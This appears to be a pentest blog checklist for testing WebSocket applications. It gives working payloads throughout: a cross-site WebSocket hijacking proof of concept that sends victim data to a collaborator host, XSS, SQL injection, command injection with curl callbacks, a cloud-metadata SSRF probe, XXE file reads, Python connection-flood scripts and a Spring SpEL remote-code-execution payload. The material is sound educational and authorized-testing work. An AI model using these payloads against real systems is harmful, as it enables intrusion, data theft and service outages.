By Het Mehta | Published: 2025-06-03 | Last Updated: 3/17/2026
Disclaimer
Performing security testing without explicit, written permission from the application owner is illegal and unethical. This content is provided for educational purposes only.
WebSockets enable persistent, full-duplex, bidirectional communication between clients and servers โ powering real-time features like live chat, financial trading platforms, multiplayer games, and collaborative tools. Unlike standard HTTP, a single WebSocket connection stays open indefinitely, meaning a single security flaw grants an attacker continuous, real-time access rather than a one-off request.
WebSocket security testing is a distinct discipline from regular web app testing. Traditional HTTP scanners and WAFs often miss WebSocket message traffic entirely, seeing only the initial HTTP upgrade handshake. This makes WebSocket endpoints a high-value, low-visibility target in bug bounty programs and pentest engagements alike.
This checklist is based on the OWASP WebSocket Security Cheat Sheet, PortSwigger Web Security Academy, PayloadsAllTheThings, and real-world pentest techniques.
WebSocket testing requires tools that can intercept and manipulate both the HTTP upgrade handshake and the subsequent bidirectional message stream โ standard HTTP proxies alone are not enough.
Before sending a single payload, map the WebSocket attack surface. The HTTP upgrade handshake is the gateway โ it reveals the authentication mechanism, origin validation posture, subprotocols, and whether the connection is encrypted. Missing a misconfiguration here means missing the most common critical finding: CSWSH.
# Search JS bundle for WebSocket instantiation
grep -r "new WebSocket\|wss://\|ws://" ./js/
# Or in browser DevTools console on the target page:
# Search Sources panel for "WebSocket" to find all connection points grep, Shodan.GET /chat HTTP/1.1
Host: target.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: https://target.com
Cookie: session=abc123 # Basic connection
wscat -c wss://target.com/ws
# With auth cookie
wscat -c wss://target.com/ws -H "Cookie: session=abc123"
# With Bearer token
wscat -c wss://target.com/ws -H "Authorization: Bearer <token>"
# With custom origin header
wscat -c wss://target.com/ws -H "Origin: https://evil.com" WebSocket transport security mirrors TLS testing for HTTPS. Unencrypted ws:// connections expose all message traffic to network-level eavesdropping and tampering. Even encrypted connections can be weakened by misconfigured TLS, outdated protocol versions, or insecure compression.
# TLS quality check on the WebSocket server's HTTPS endpoint
./testssl.sh https://target.com
# sslyze alternative
sslyze target.com:443 testssl.sh, sslyze, Browser DevTools Console (mixed content warnings).GET /ws HTTP/1.1
Host: target.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 0
Origin: https://target.com Cross-Site WebSocket Hijacking (CSWSH) is the WebSocket equivalent of CSRF โ and often more damaging, since an attacker gets a live, persistent, bidirectional connection rather than a single forged request. It is one of the highest-impact WebSocket vulnerabilities and appears frequently in bug bounty programs. Real-world examples include a 2023 Gitpod account takeover via insufficient origin validation.
# Original handshake - modify Origin in Burp Repeater:
Origin: https://evil.com
# or
Origin: null
# or
Origin: https://target.com.evil.com # Bypass attempts for a server checking "target.com" as substring:
Origin: https://nottarget.com
Origin: https://target.com.attacker.com
Origin: https://attacker-target.com
Origin: https://target.com@attacker.com <!-- CSWSH PoC: exfiltrate victim's WebSocket data -->
<script>
var ws = new WebSocket('wss://target.com/chat');
ws.onopen = function() {
ws.send('READY'); // trigger server to send history/data
};
ws.onmessage = function(event) {
fetch('https://YOUR-COLLABORATOR.oastify.com', {
method: 'POST',
mode: 'no-cors',
body: event.data
});
};
</script> # Connect with no auth
wscat -c wss://target.com/ws
# Connect with an invalid/expired token
wscat -c wss://target.com/ws -H "Cookie: session=invalid"
wscat -c "wss://target.com/ws?token=INVALID" // Original message (your account):
{"action": "subscribe", "channel": "user_notifications_123"}
// IDOR test: change ID to another user's
{"action": "subscribe", "channel": "user_notifications_124"}
// BFLA test: send admin-only action as regular user
{"action": "delete_user", "user_id": "456"} WebSocket messages are just another input channel โ every injection class that applies to HTTP parameters also applies to WebSocket message fields. The key difference is that WebSocket payloads are often JSON or binary, so you need to adapt your payloads to the message format. Burp's WebSocket Repeater and Turbo Intruder extension make this systematic.
// XSS via WebSocket chat message
{"type": "message", "content": "<img src=x onerror=alert(document.domain)>"}
// SVG-based XSS
{"type": "message", "content": "<svg/onload=alert(1)>"}
// JS protocol in link field
{"type": "profile_update", "website": "javascript:alert(document.cookie)"} // Error-based SQLi probe
{"action": "search", "query": "' OR 1=1--"}
// Boolean-based blind
{"action": "search", "query": "' AND 1=1--"}
{"action": "search", "query": "' AND 1=2--"}
// Time-based blind (MySQL)
{"action": "search", "query": "' AND SLEEP(5)--"}
// UNION-based (adjust columns to match)
{"action": "search", "query": "' UNION SELECT null,username,password FROM users--"} # Use ws-harness to bridge WebSocket <-> HTTP for sqlmap
# 1. Start the harness pointing at the vulnerable WebSocket endpoint
python ws-harness.py -u "ws://target.com/ws" -m message_template.txt
# 2. Run sqlmap against the harness's local HTTP listener
sqlmap -u "http://127.0.0.1:8000/?fuzz=test" --batch --level=5 // Command injection probes
{"action": "ping", "host": "127.0.0.1; whoami"}
{"action": "ping", "host": "127.0.0.1 | id"}
{"action": "ping", "host": "`curl https://YOUR-COLLABORATOR.oastify.com`"}
// SSRF probe
{"action": "fetch_url", "url": "http://169.254.169.254/latest/meta-data/"}
{"action": "fetch_url", "url": "http://internal-service.local/admin"} <!-- XXE via WebSocket XML message -->
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<message>&xxe;</message> # Replay a captured message using wsrepl
wsrepl -u wss://target.com/ws -P auth_plugin.py
# Then paste the captured message and resend it
# Or use Burp WebSocket Repeater:
# Right-click message in WS history โ Send to Repeater โ edit and resend // Mass assignment probe: add unexpected fields
{
"action": "update_profile",
"name": "Attacker",
"role": "admin",
"is_verified": true,
"credit_balance": 99999
} WebSocket's persistent connection model fundamentally changes the DoS attack surface. Unlike HTTP where each request is independent, WebSocket allows an attacker to hold connections open indefinitely, flood message queues faster than the server can process them, or exhaust file descriptors across the system. These tests should always be performed on a staging environment with explicit permission.
import asyncio, websockets
async def hold_connection():
async with websockets.connect("wss://target.com/ws") as ws:
await asyncio.sleep(300) # hold open for 5 min
async def main():
tasks = [hold_connection() for _ in range(200)]
await asyncio.gather(*tasks, return_exceptions=True)
asyncio.run(main()) websockets, custom scripts.import asyncio, websockets
async def flood():
async with websockets.connect("wss://target.com/ws",
extra_headers={"Cookie": "session=abc123"}) as ws:
for _ in range(10000):
await ws.send('{"type":"ping"}')
asyncio.run(flood()) import asyncio, websockets
async def big_frame():
async with websockets.connect("wss://target.com/ws") as ws:
# Send 10MB payload
await ws.send("A" * 10 * 1024 * 1024)
print(await ws.recv())
asyncio.run(big_frame()) websockets, websocat (websocat -n wss://target.com/ws --binary-prefix <payload_file>).WebSocket applications often implement complex, stateful business logic over the message channel โ trading operations, multi-user collaboration, real-time auctions โ that automated scanners cannot reason about. This phase requires understanding what the application actually does and finding ways to abuse the intended flows.
// Numeric boundary tests
{"action": "transfer", "amount": -1000}
{"action": "transfer", "amount": 0}
{"action": "transfer", "amount": 9999999999}
{"action": "bid", "price": 0.000001} # Send malformed JSON via wscat
wscat -c wss://target.com/ws
> {"action": "search", "query": # incomplete JSON
> not_json_at_all
> {}
> null
> [] # CVE-2018-1270: SpEL injection via STOMP selector header
# The selector header is evaluated as a Spring Expression (SpEL) โ use an unsandboxed StandardEvaluationContext
# Affects Spring Framework 5.0.x < 5.0.5, 4.3.x < 4.3.15
# Step 1: Connect to STOMP endpoint
wscat -c wss://target.com/stomp -s stomp
> CONNECT
> accept-version:1.1,1.2
> heart-beat:0,0
>
> ^@
# Step 2: Send SUBSCRIBE frame with malicious selector header (SpEL RCE payload)
> SUBSCRIBE
> id:sub-0
> destination:/topic/greetings
> selector:T(java.lang.Runtime).getRuntime().exec('curl https://YOUR-COLLABORATOR.oastify.com')
>
> ^@ WebSocket-specific security configurations are often left at defaults. Verifying these controls is fast and frequently produces findings that are easy to remediate but easy to miss in a standard web application test.
Traditional HTTP access logs capture only the initial upgrade request, missing all message-level events. This is a blind spot unique to WebSocket applications โ confirming it exists is a valid finding.
WebSocket findings often need extra context in reports โ reviewers may not immediately understand why CSWSH is critical or how a missing rate limit on a persistent connection differs from the same issue on an HTTP endpoint. Always include the full handshake request in your evidence.
ws, Django Channels, Spring WebSocket, Gorilla WebSocket).WebSocket security testing is increasingly important as real-time features become standard across web applications. The persistent, bidirectional nature of WebSocket connections means that a single missed check โ especially missing origin validation โ can hand an attacker a live, authenticated session rather than a one-off forged request. Use this checklist on every engagement where you find WebSocket endpoints, adapt the payloads to the specific message format in use, and always verify both the handshake layer and the message layer independently.